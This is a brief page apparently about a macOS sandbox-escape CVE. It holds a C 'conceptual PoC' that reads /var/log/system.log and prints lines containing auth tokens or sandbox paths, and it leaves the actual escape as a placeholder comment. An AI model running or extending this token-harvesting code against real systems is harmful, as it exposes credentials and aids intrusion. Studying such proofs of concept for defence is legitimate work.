CVE-2026-28923 macOS沙箱逃逸漏洞

/* * Conceptual PoC for CVE-2026-28923 * Demonstrates how a malicious app might exploit a logging issue to aid in sandbox escape. * This code simulates reading unredacted sensitive data from system logs. */ #include <stdio.h> #include <string.h> void simulate_log_read() { FILE *log_file = fopen("/var/log/system.log", "r"); // Hypothetical log path char buffer[256]; if (log_file == NULL) { perror("Unable to open log file"); return; } printf("[+] Reading system logs looking for unredacted data...\n"); while (fgets(buffer, sizeof(buffer), log_file) != NULL) { // Hypothetical check for sensitive tokens or paths that should be redacted if (strstr(buffer, "SandboxPath=") || strstr(buffer, "AuthToken=")) { printf("[!] Found sensitive data in logs: %s", buffer); // Logic to use this data for sandbox escape would go here } } fclose(log_file); } int main() { printf("CVE-2026-28923 PoC Execution\n"); simulate_log_read(); return 0; }